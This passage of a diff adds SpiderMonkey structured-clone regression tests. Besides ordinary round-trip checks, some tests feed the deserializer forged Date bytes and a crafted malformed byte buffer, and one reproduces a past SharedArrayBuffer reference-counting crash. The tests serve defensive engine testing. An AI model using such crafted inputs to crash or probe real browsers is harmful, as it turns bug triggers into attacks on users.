+// grouped by object type. The property name '0' stands in for any indexed
+// property.
+var non_configurable = { 'String': [ 0 ],
+ '(typed array)': [ 0 ] };
+
+// Set of properties on a cloned object that are legitimately non-writable,
+// grouped by object type. The property name '0' stands in for any indexed
+// property.
+var non_writable = { 'String': [ 0 ] };
+
+function classOf(obj) {
+ var classString = Object.prototype.toString.call(obj);
+ var [ all, classname ] = classString.match(/\[object (\w+)/);
+ return classname;
+}
+
+function isIndex(p) {
+ var u = p >>> 0;
+ return ("" + u == p && u != 0xffffffff);
+}
+
+function notIndex(p) {
+ return !isIndex(p);
+}
+
+function tableContains(table, cls, prop) {
+ if (isIndex(prop))
+ prop = 0;
+ if (cls.match(/\wArray$/))
+ cls = "(typed array)";
+ var exceptionalProps = table[cls] || [];
+ return exceptionalProps.indexOf(prop) != -1;
+}
+
+function shouldBeConfigurable(cls, prop) {
+ return !tableContains(non_configurable, cls, prop);
+}
+
+function shouldBeWritable(cls, prop) {
+ return !tableContains(non_writable, cls, prop);
+}
+
+function ownProperties(obj) {
+ return Object.getOwnPropertyNames(obj).
+ map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; });
+}
+
+function isCloneable(pair) {
+ return typeof pair[0] === 'string' && pair[1].enumerable;
+}
+
+function compareProperties(a, b, stack, path) {
+ var ca = classOf(a);
+
+ // 'b', the original object, may have non-enumerable or XMLName properties;
+ // ignore them. 'a', the clone, should not have any non-enumerable
+ // properties (except .length, if it's an Array or String) or XMLName
+ // properties.
+ var pb = ownProperties(b).filter(isCloneable);
+ var pa = ownProperties(a);
+ for (var i = 0; i < pa.length; i++) {
+ var propname = pa[i][0];
+ assertEq(typeof propname, "string", "clone should not have E4X properties " + path);
+ if (!pa[i][1].enumerable) {
+ if (tableContains(non_enumerable, ca, propname)) {
+ // remove it so that the comparisons below will work
+ pa.splice(i, 1);
+ i--;
+ } else {
+ throw new Error("non-enumerable clone property " + propname + " " + path);
+ }
+ }
+ }
+
+ // Check that, apart from properties whose names are array indexes,
+ // the enumerable properties appear in the same order.
+ var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ assertEq(aNames.join(","), bNames.join(","), path);
+
+ // Check that the lists are the same when including array indexes.
+ function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; }
+ pa.sort(byName);
+ pb.sort(byName);
+ assertEq(pa.length, pb.length, "should see the same number of properties " + path);
+ for (var i = 0; i < pa.length; i++) {
+ var aName = pa[i][0];
+ var bName = pb[i][0];
+ assertEq(aName, bName, path);
+
+ var path2 = isIndex(aName) ? path + "[" + aName + "]" : path + "." + aName;
+ var da = pa[i][1];
+ var db = pb[i][1];
+ assertEq(da.configurable, shouldBeConfigurable(ca, aName), path2);
+ assertEq(da.writable, shouldBeWritable(ca, aName), path2);
+ assertEq("value" in da, true, path2);
+ var va = da.value;
+ var vb = b[pb[i][0]];
+ stack.push([va, vb, path2]);
+ }
+}
+
+function isClone(a, b) {
+ var stack = [[a, b, 'obj']];
+ var memory = new WeakMap();
+ var rmemory = new WeakMap();
+
+ while (stack.length > 0) {
+ var pair = stack.pop();
+ var x = pair[0], y = pair[1], path = pair[2];
+ if (typeof x !== "object" || x === null) {
+ // x is primitive.
+ assertEq(x, y, "equal primitives");
+ } else if (x instanceof Date) {
+ assertEq(x.getTime(), y.getTime(), "equal times for cloned Dates");
+ } else if (memory.has(x)) {
+ // x is an object we have seen before in a.
+ assertEq(y, memory.get(x), "repeated object the same");
+ assertEq(rmemory.get(y), x, "repeated object's clone already seen");
+ } else {
+ // x is an object we have not seen before.
+ // Check that we have not seen y before either.
+ assertEq(rmemory.has(y), false);
+
+ var xcls = classOf(x);
+ var ycls = classOf(y);
+ assertEq(xcls, ycls, "same [[Class]]");
+
+ // clone objects should have the default prototype of the class
+ assertEq(Object.getPrototypeOf(x), this[xcls].prototype);
+
+ compareProperties(x, y, stack, path);
+
+ // Record that we have seen this pair of objects.
+ memory.set(x, y);
+ rmemory.set(y, x);
+ }
+ }
+ return true;
+}
+
+function check(val) {
+ var clone = deserialize(serialize(val));
+ assertEq(isClone(val, clone), true);
+ return clone;
+}
+
+// Various recursive objects
+
+// Recursive array.
+var a = [];
+a[0] = a;
+check(a);
+
+// Recursive Object.
+var b = {};
+b.next = b;
+check(b);
+
+// Mutually recursive objects.
+var a = [];
+var b = {};
+var c = {};
+a[0] = b;
+a[1] = b;
+a[2] = b;
+b.next = a;
+check(a);
+check(b);
+
+// A date
+check(new Date);
+
+// A recursive object that is very large.
+a = [];
+b = a;
+for (var i = 0; i < 10000; i++) {
+ b[0] = {};
+ b[1] = [];
+ b = b[1];
+}
+b[0] = {owner: a};
+b[1] = [];
+check(a);
+
+// Date objects should not be identical even if representing the same date
+var ar = [ new Date(1000), new Date(1000) ];
+var clone = check(ar);
+assertEq(clone[0] === clone[1], false);
+
+// Identity preservation for various types of objects
+
+function checkSimpleIdentity(v)
+{
+ a = check([ v, v ]);
+ assertEq(a[0] === a[1], true);
+ return a;
+}
+
+var v = new Boolean(true);
+checkSimpleIdentity(v);
+
+v = new Number(17);
+checkSimpleIdentity(v);
+
+v = new String("yo");
+checkSimpleIdentity(v);
+
+v = "fish";
+checkSimpleIdentity(v);
+
+v = new Int8Array([ 10, 20 ]);
+checkSimpleIdentity(v);
+
+v = new ArrayBuffer(7);
+checkSimpleIdentity(v);
+
+v = new Date(1000);
+b = [ v, v, { 'date': v } ];
+clone = check(b);
+assertEq(clone[0] === clone[1], true);
+assertEq(clone[0], clone[2]['date']);
+assertEq(clone[0] === v, false);
+
+// Reduced and modified from postMessage_structured_clone test
+let foo = { };
+let baz = { };
+let obj = { 'foo': foo,
+ 'bar': { 'foo': foo },
+ 'expando': { 'expando': baz },
+ 'baz': baz };
+check(obj);
+
+for (obj of getTestContent())
+ check(obj);
+
+// Stolen wholesale from postMessage_structured_clone_helper.js
+function* getTestContent()
+{
+ yield "hello";
+ yield 2+3;
+ yield 12;
+ yield null;
+ yield "complex" + "string";
+ yield new Object();
+ yield new Date(1306113544);
+ yield [1, 2, 3, 4, 5];
+ let obj = new Object();
+ obj.foo = 3;
+ obj.bar = "hi";
+ obj.baz = new Date(1306113544);
+ obj.boo = obj;
+ yield obj;
+
+ let recursiveobj = new Object();
+ recursiveobj.a = recursiveobj;
+ recursiveobj.foo = new Object();
+ recursiveobj.foo.bar = "bar";
+ recursiveobj.foo.backref = recursiveobj;
+ recursiveobj.foo.baz = 84;
+ recursiveobj.foo.backref2 = recursiveobj;
+ recursiveobj.bar = new Object();
+ recursiveobj.bar.foo = "foo";
+ recursiveobj.bar.backref = recursiveobj;
+ recursiveobj.bar.baz = new Date(1306113544);
+ recursiveobj.bar.backref2 = recursiveobj;
+ recursiveobj.expando = recursiveobj;
+ yield recursiveobj;
+
+ obj = new Object();
+ obj.expando1 = 1;
+ obj.foo = new Object();
+ obj.foo.bar = 2;
+ obj.bar = new Object();
+ obj.bar.foo = obj.foo;
+ obj.expando = new Object();
+ obj.expando.expando = new Object();
+ obj.expando.expando.obj = obj;
+ obj.expando2 = 4;
+ obj.baz = obj.expando.expando;
+ obj.blah = obj.bar;
+ obj.foo.baz = obj.blah;
+ obj.foo.blah = obj.blah;
+ yield obj;
+
+ let diamond = new Object();
+ obj = new Object();
+ obj.foo = "foo";
+ obj.bar = 92;
+ obj.backref = diamond;
+ diamond.ref1 = obj;
+ diamond.ref2 = obj;
+ yield diamond;
+
+ let doubleref = new Object();
+ obj = new Object();
+ doubleref.ref1 = obj;
+ doubleref.ref2 = obj;
+ yield doubleref;
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-errors.js b/js/src/tests/non262/extensions/clone-errors.js
new file mode 100644
index 0000000000..2cc895eb38
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-errors.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function check(v) {
+ try {
+ serialize(v);
+ } catch (exc) {
+ return;
+ }
+ throw new Error("serializing " + JSON.stringify(v) + " should have failed with an exception");
+}
+
+// Unsupported object types.
+check(new Error("oops"));
+check(this);
+check(Math);
+check(function () {});
+check(new Proxy({}, {}));
+
+// A failing getter.
+check({get x() { throw new Error("fail"); }});
+
+// Mismatched scopes.
+for (let [write_scope, read_scope] of [['SameProcess', 'DifferentProcessForIndexedDB'],
+ ['SameProcess', 'DifferentProcess']])
+{
+ var ab = new ArrayBuffer(12);
+ var buffer = serialize(ab, [ab], { scope: write_scope });
+ var caught = false;
+ try {
+ deserialize(buffer, { scope: read_scope });
+ } catch (exc) {
+ caught = true;
+ }
+ assertEq(caught, true, `${write_scope} clone buffer should not be deserializable as ${read_scope}`);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/extensions/clone-forge.js b/js/src/tests/non262/extensions/clone-forge.js
new file mode 100644
index 0000000000..3cdb0ea0df
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-forge.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function assertThrows(f) {
+ var ok = false;
+ try {
+ f();
+ } catch (exc) {
+ ok = true;
+ }
+ if (!ok)
+ throw new TypeError("Assertion failed: " + f + " did not throw as expected");
+}
+
+function byteArray(str) {
+ return str.split('').map(c => c.charCodeAt(0));
+}
+
+// Don't allow forging bogus Date objects.
+var mutated = byteArray(serialize(new Date(NaN)).clonebuffer);
+
+var a = [1/0, -1/0,
+ Number.MIN_VALUE, -Number.MIN_VALUE,
+ Math.PI, 1286523948674.5,
+ Number.MAX_VALUE, -Number.MAX_VALUE,
+ 8.64e15 + 1, -(8.64e15 + 1)];
+for (var i = 0; i < a.length; i++) {
+ var n = a[i];
+ var nbuf = serialize(n);
+ var data = byteArray(nbuf.clonebuffer);
+ for (var j = 0; j < 8; j++)
+ mutated[j+8] = data[j];
+ nbuf.clonebuffer = String.fromCharCode.apply(null, mutated);
+ assertThrows(function () { deserialize(nbuf); });
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/clone-invalid-property-key.js b/js/src/tests/non262/extensions/clone-invalid-property-key.js
new file mode 100644
index 0000000000..9b0347586c
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-invalid-property-key.js
@@ -0,0 +1,22 @@
+// Don't allow serialized data to use objects as property keys.
+
+if (typeof serialize === "function") {
+ let data = new Uint8Array([
+ 104,97,108,101,7,0,255,255,95,98,0,0,0,0,0,104,97,108,101,9,0,255,255,95,98,
+ 115,10,109,97,120,95,108,101,110,0,0,0,0,109,97,120,95,108,101,110,0,0,0,0,0,
+ 0,0,0,0,246,0,0,0,42,4,0,0,0,0,0,0,0,0,0,0,0,0,65,0,0,0,0,0,0,0,0,0,0,0,0,0,
+ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,253,0,0,0,0,0,0,0,0,0,0,0,0,
+ 191,190,190,184,65,65,65,65,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
+ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,104,97,108,101,9,0,
+ 255,255,95,98,115,10,109,97,120,95,110,100,108,213,95,175,175,175,175,175,0,
+ 0,0,0,0,2,0,0,0,0,0,13,0,255,255,96,125,115,135,109,97,120,110,0,0,32,0,8,0,
+ 0,0
+ ]);
+ let cloneBuffer = serialize(null);
+ cloneBuffer.clonebuffer = data.buffer;
+ try {
+ let obj = deserialize(cloneBuffer);
+ } catch(exc1) {}
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/clone-leaf-object.js b/js/src/tests/non262/extensions/clone-leaf-object.js
new file mode 100644
index 0000000000..081a9b666e
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-leaf-object.js
@@ -0,0 +1,68 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = [new Boolean(true),
+ new Boolean(false),
+ new Number(0),
+ new Number(-0),
+ new Number(Math.PI),
+ new Number(0x7fffffff),
+ new Number(-0x7fffffff),
+ new Number(0x80000000),
+ new Number(-0x80000000),
+ new Number(0xffffffff),
+ new Number(-0xffffffff),
+ new Number(0x100000000),
+ new Number(-0x100000000),
+ new Number(Number.MIN_VALUE),
+ new Number(-Number.MIN_VALUE),
+ new Number(Number.MAX_VALUE),
+ new Number(-Number.MAX_VALUE),
+ new Number(1/0),
+ new Number(-1/0),
+ new Number(0/0),
+ new String(""),
+ new String("\0123\u4567"),
+ new Date(0),
+ new Date(-0),
+ new Date(0x7fffffff),
+ new Date(-0x7fffffff),
+ new Date(0x80000000),
+ new Date(-0x80000000),
+ new Date(0xffffffff),
+ new Date(-0xffffffff),
+ new Date(0x100000000),
+ new Date(-0x100000000),
+ new Date(1286523948674),
+ new Date(8.64e15), // hard-coded in ES5 spec, hard-coded here
+ new Date(-8.64e15),
+ new Date(NaN)];
+
+function primitive(a) {
+ return a instanceof Date ? +a : a.constructor(a);
+}
+
+for (var i = 0; i < a.length; i++) {
+ var x = a[i];
+ if (x.toSource) {
+ var expectedSource = x.toSource();
+ }
+ var expectedPrimitive = primitive(x);
+ var expectedProto = x.__proto__;
+ var expectedString = Object.prototype.toString.call(x);
+ x.expando = 1;
+ x.__proto__ = {};
+
+ var y = deserialize(serialize(x));
+ if (x.toSource) {
+ assertEq(y.toSource(), expectedSource);
+ }
+ assertEq(primitive(y), expectedPrimitive);
+ assertEq(y.__proto__, expectedProto);
+ assertEq(Object.prototype.toString.call(y), expectedString);
+ assertEq("expando" in y, false);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/clone-many-transferables.js b/js/src/tests/non262/extensions/clone-many-transferables.js
new file mode 100644
index 0000000000..463dc74ee7
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-many-transferables.js
@@ -0,0 +1,25 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- requires serialize()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test()
+{
+ // On my system, with an unfixed build where transfer-list processing is
+ // quadratic, 5e5 elements makes this test take ~70s in a shell opt build.
+ // Debug build is well into timeout-land at 300+s. As long as at least *one*
+ // platform times out for a quadratic algorithm, a regression should be
+ // obvious. (Time to run the test in even a debug shell is ~17s, well short
+ // of timing out.)
+ var transfers = [];
+ for (var i = 0; i < 5e5; i++)
+ transfers.push(new ArrayBuffer());
+
+ // If serialization is quadratic in the length of |transfers|, the test will
+ // time out. If the test doesn't time out, it passed.
+ serialize({}, transfers);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-object-deep.js b/js/src/tests/non262/extensions/clone-object-deep.js
new file mode 100644
index 0000000000..685577b924
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-object-deep.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test() {
+ var check = clone_object_check;
+
+ // Invoke with the simple parameter to compile the function before doing
+ // deep clone, on --ion-eager case, to avoid timeout.
+ check({x: null, y: undefined});
+
+ // Try cloning a deep object. Don't fail with "too much recursion".
+ var b = {};
+ var current = b;
+ for (var i = 0; i < 10000; i++) {
+ var next = {};
+ current['x' + i] = next;
+ current = next;
+ }
+ check(b, "deepObject"); // takes 2 seconds :-\
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-object.js b/js/src/tests/non262/extensions/clone-object.js
new file mode 100644
index 0000000000..56a2166bec
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-object.js
@@ -0,0 +1,143 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test() {
+ var check = clone_object_check;
+
+ check({});
+ check([]);
+ check({x: 0});
+ check({x: 0.7, p: "forty-two", y: null, z: undefined});
+ check(Array.prototype);
+ check(Object.prototype);
+
+ // before and after
+ var b, a;
+
+ // Slow array.
+ b = [, 1, 2, 3];
+ b.expando = true;
+ b[5] = 5;
+ b[0] = 0;
+ b[4] = 4;
+ delete b[2];
+ check(b);
+
+ // Check cloning properties other than basic data properties. (check()
+ // asserts that the properties of the clone are configurable, writable,
+ // enumerable data properties.)
+ b = {};
+ Object.defineProperties(b, {
+ x: {enumerable: true, get: function () { return 12479; }},
+ y: {enumerable: true, configurable: true, writable: false, value: 0},
+ z: {enumerable: true, configurable: false, writable: true, value: 0},
+ hidden: {enumerable:false, value: 1334}});
+ check(b);
+
+ // Check corner cases involving property names.
+ b = {"-1": -1,
+ 0xffffffff: null,
+ 0x100000000: null,
+ "": 0,
+ "\xff\x7f\u7fff\uffff\ufeff\ufffe": 1, // random unicode id
+ "\ud800 \udbff \udc00 \udfff": 2}; // busted surrogate pairs
+ check(b);
+
+ b = [];
+ b[-1] = -1;
+ b[0xffffffff] = null;
+ b[0x100000000] = null;
+ b[""] = 0;
+ b["\xff\x7f\u7fff\uffff\ufeff\ufffe"] = 1;
+ b["\ud800 \udbff \udc00 \udfff"] = 2;
+ check(b);
+
+ // Check that array's .length property is cloned.
+ b = Array(5);
+ assertEq(b.length, 5);
+ a = check(b);
+ assertEq(a.length, 5);
+
+ b = Array(0);
+ b[1] = "ok";
+ a = check(b);
+ assertEq(a.length, 2);
+
+ // Check that prototypes are not cloned, per spec.
+ b = Object.create({x:1});
+ b.y = 2;
+ b.z = 3;
+ check(b);
+
+ // Check that cloning does not separate merge points in the tree.
+ var same = {};
+ b = {one: same, two: same};
+ a = check(b);
+ assertEq(a.one === a.two, true);
+
+ b = [same, same];
+ a = check(b);
+ assertEq(a[0] === a[1], true);
+
+ /*
+ XXX TODO spin this out into its own test
+ // This fails quickly with an OOM error. An exception would be nicer.
+ function Infinitree() {
+ return { get left() { return new Infinitree; },
+ get right() { return new Infinitree; }};
+ }
+ var threw = false;
+ try {
+ serialize(new Infinitree);
+ } catch (exc) {
+ threw = true;
+ }
+ assertEq(threw, true);
+ */
+
+ // Clone an array with holes.
+ check([0, 1, 2, , 4, 5, 6]);
+
+ // Array holes should not take up space.
+ b = [];
+ b[255] = 1;
+ check(b);
+ assertEq(serialize(b).clonebuffer.length < 255, true);
+
+ // Check that trailing holes in an array are preserved.
+ b = [1,2,3,,];
+ assertEq(b.length, 4);
+ a = check(b);
+ assertEq(a.length, 4);
+ assertEq(a.toString(), "1,2,3,");
+
+ b = [1,2,3,,,];
+ assertEq(b.length, 5);
+ a = check(b);
+ assertEq(a.length, 5);
+ assertEq(a.toString(), "1,2,3,,");
+
+ // Self-modifying object.
+ // This should never read through to b's prototype.
+ b = Object.create({y: 2},
+ {x: {enumerable: true,
+ configurable: true,
+ get: function() { if (this.hasOwnProperty("y")) delete this.y; return 1; }},
+ y: {enumerable: true,
+ configurable: true,
+ writable: true,
+ value: 3}});
+ check(b, "selfModifyingObject");
+
+ // Ignore properties with object-ids.
+ var uri = "http://example.net";
+ b = {x: 1, y: 2};
+ Object.defineProperty(b, Array(uri, "x"), {enumerable: true, value: 3});
+ Object.defineProperty(b, Array(uri, "y"), {enumerable: true, value: 5});
+ check(b);
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-regexp.js b/js/src/tests/non262/extensions/clone-regexp.js
new file mode 100644
index 0000000000..8541dae98c
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-regexp.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testRegExp(b, c=b) {
+ var a = deserialize(serialize(b));
+ assertEq(a === b, false);
+ assertEq(Object.getPrototypeOf(a), RegExp.prototype);
+ assertEq(Object.prototype.toString.call(a), "[object RegExp]");
+ for (p in a)
+ throw new Error("cloned RegExp should have no enumerable properties");
+
+ assertEq(a.source, c.source);
+ assertEq(a.global, c.global);
+ assertEq(a.ignoreCase, c.ignoreCase);
+ assertEq(a.multiline, c.multiline);
+ assertEq(a.sticky, c.sticky);
+ assertEq("expando" in a, false);
+}
+
+testRegExp(RegExp(""));
+testRegExp(/(?:)/);
+testRegExp(/^(.*)$/gimy);
+
+var re = /\bx\b/gi;
+re.expando = true;
+testRegExp(re);
+// `source` and the flag accessors are defined on RegExp.prototype, so they're
+// not available after re.__proto__ has been changed. We solve that by passing
+// in an additional copy of the same RegExp to compare the
+// serialized-then-deserialized clone with."
+re.__proto__ = {};
+testRegExp(re, /\bx\b/gi);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-sab-failure.js b/js/src/tests/non262/extensions/clone-sab-failure.js
new file mode 100644
index 0000000000..ff24dcb9e5
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-sab-failure.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Failure to serialize an object containing a SAB should not leave the SAB's
+// rawbuffer's reference count incremented.
+
+if (!this.SharedArrayBuffer || !this.sharedArrayRawBufferRefcount) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+let x = new SharedArrayBuffer(1);
+
+// Initially the reference count is 1.
+assertEq(sharedArrayRawBufferRefcount(x), 1);
+
+let y = serialize(x, [], {SharedArrayBuffer: 'allow'});
+
+// Serializing it successfully increments the reference count.
+assertEq(sharedArrayRawBufferRefcount(x), 2);
+
+// Serializing something containing a function should throw.
+var failed = false;
+try {
+ serialize([x, function () {}]);
+}
+catch (e) {
+ failed = true;
+}
+assertEq(failed, true);
+
+// Serializing the SAB unsuccessfully does not increment the reference count.
+assertEq(sharedArrayRawBufferRefcount(x), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/clone-sab-leak.js b/js/src/tests/non262/extensions/clone-sab-leak.js
new file mode 100644
index 0000000000..1e72cfba24
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-sab-leak.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Check that a SAB buffer (which is distinct from the SAB object) does not leak
+// when a serialization object that is keeping it alive becomes garbage.
+
+if (!this.SharedArrayBuffer || !this.sharedArrayRawBufferCount) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+// Record the count of buffers we have at the outset.
+var k = sharedArrayRawBufferCount();
+
+var sab = new SharedArrayBuffer(4096);
+
+// sharedArrayRawBufferCount may return 0 in some configurations; bail out if so.
+if (sharedArrayRawBufferCount() == 0) {
+ reportCompare(true, true);
+ quit(0);
+}
+
+// There is now one (more) buffer.
+assertEq(sharedArrayRawBufferCount(), 1+k);
+
+// Capture the buffer in a serialization object.
+var y = serialize(sab, [], {SharedArrayBuffer: 'allow'})
+
+// Serializing it did not increase the number of buffers.
+assertEq(sharedArrayRawBufferCount(), 1+k);
+
+// The serialization buffer hangs onto the SAB buffer, gc does not reap it even
+// if the original variable does not reference it and the SAB object is dead and
+// gone.
+sab = null;
+gc();
+gc();
+assertEq(sharedArrayRawBufferCount(), 1+k);
+
+// Drop the serialization buffer too, and reap dead objects. Now the count
+// should be zero because the serialization buffer should have been reaped and
+// nothing else kept the SAB buffer alive.
+y = null;
+gc();
+gc();
+
+assertEq(sharedArrayRawBufferCount(), 0+k);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/clone-sab.js b/js/src/tests/non262/extensions/clone-sab.js
new file mode 100644
index 0000000000..3b35f90abc
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-sab.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Deserialize a serialization buffer containing a reference to a
+// SharedArrayBuffer buffer object enough times and we will crash because of a
+// reference counting bug.
+
+if (!this.SharedArrayBuffer) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+let x = new SharedArrayBuffer(1);
+let y = serialize(x, [], {SharedArrayBuffer: 'allow'});
+x = null;
+
+// If the bug is present this loop usually crashes quickly during
+// deserialization because the memory has become unmapped.
+
+for (let i=0 ; i < 50 ; i++ ) {
+ let obj = deserialize(y, {SharedArrayBuffer: 'allow'});
+ let z = new Int8Array(obj);
+ z[0] = 0;
+}
+
+reportCompare(true, true);
+
diff --git a/js/src/tests/non262/extensions/clone-simple.js b/js/src/tests/non262/extensions/clone-simple.js
new file mode 100644
index 0000000000..b7684dd02a
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-simple.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testEq(b) {
+ var a = deserialize(serialize(b));
+ assertEq(a, b);
+}
+
+testEq(void 0);
+testEq(null);
+
+testEq(true);
+testEq(false);
+
+testEq(0);
+testEq(-0);
+testEq(1/0);
+testEq(-1/0);
+testEq(0/0);
+testEq(Math.PI);
+
+testEq("");
+testEq("\0");
+testEq("a"); // unit string
+testEq("ab"); // length-2 string
+testEq("abc\0123\r\n"); // nested null character
+testEq("\xff\x7f\u7fff\uffff\ufeff\ufffe"); // random unicode stuff
+testEq("\ud800 \udbff \udc00 \udfff"); // busted surrogate pairs
+testEq(Array(1024).join(Array(1024).join("x"))); // 2MB string
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-transferables.js b/js/src/tests/non262/extensions/clone-transferables.js
new file mode 100644
index 0000000000..6b3ff99079
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-transferables.js
@@ -0,0 +1,129 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function* buffer_options() {
+ for (var scope of ["SameProcess",
+ "DifferentProcess",
+ "DifferentProcessForIndexedDB"])
+ {
+ for (var size of [0, 8, 16, 200, 1000, 4096, 8192, 65536]) {
+ yield { scope, size };
+ }
+ }
+}
+
+
+function test() {
+ for (var {scope, size} of buffer_options()) {
+ var old = new ArrayBuffer(size);
+ var copy = deserialize(serialize([old, old], [old], { scope }), { scope });
+ assertEq(old.byteLength, 0);
+ assertEq(copy[0] === copy[1], true);
+ copy = copy[0];
+ assertEq(copy.byteLength, size);
+
+ var constructors = [ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray,
+ DataView ];
+
+ for (var ctor of constructors) {
+ var dataview = (ctor === DataView);
+
+ var buf = new ArrayBuffer(size);
+ var old_arr = new ctor(buf);
+ assertEq(buf.byteLength, size);
+ assertEq(buf, old_arr.buffer);
+ if (!dataview)
+ assertEq(old_arr.length, size / old_arr.BYTES_PER_ELEMENT);
+
+ var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope });
+ assertEq(buf.byteLength, 0,
+ "donor array buffer should be detached");
+ if (!dataview) {
+ assertEq(old_arr.length, 0,
+ "donor typed array should be detached");
+ }
+ assertEq(copy_arr.buffer.byteLength == size, true);
+ if (!dataview)
+ assertEq(copy_arr.length, size / old_arr.BYTES_PER_ELEMENT);
+
+ buf = null;
+ old_arr = null;
+ gc(); // Tickle the ArrayBuffer -> view management
+ }
+
+ for (var ctor of constructors) {
+ var dataview = (ctor === DataView);
+
+ var buf = new ArrayBuffer(size);
+ var old_arr = new ctor(buf);
+ var dv = new DataView(buf); // Second view
+ var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope });
+ assertEq(buf.byteLength, 0,
+ "donor array buffer should be detached");
+ if (!dataview) {
+ assertEq(old_arr.byteLength, 0,
+ "donor typed array should be detached");
+ assertEq(old_arr.length, 0,
+ "donor typed array should be detached");
+ }
+
+ buf = null;
+ old_arr = null;
+ gc(); // Tickle the ArrayBuffer -> view management
+ }
+
+ // Mutate the buffer during the clone operation. The modifications should be visible.
+ if (size >= 4) {
+ old = new ArrayBuffer(size);
+ var view = new Int32Array(old);
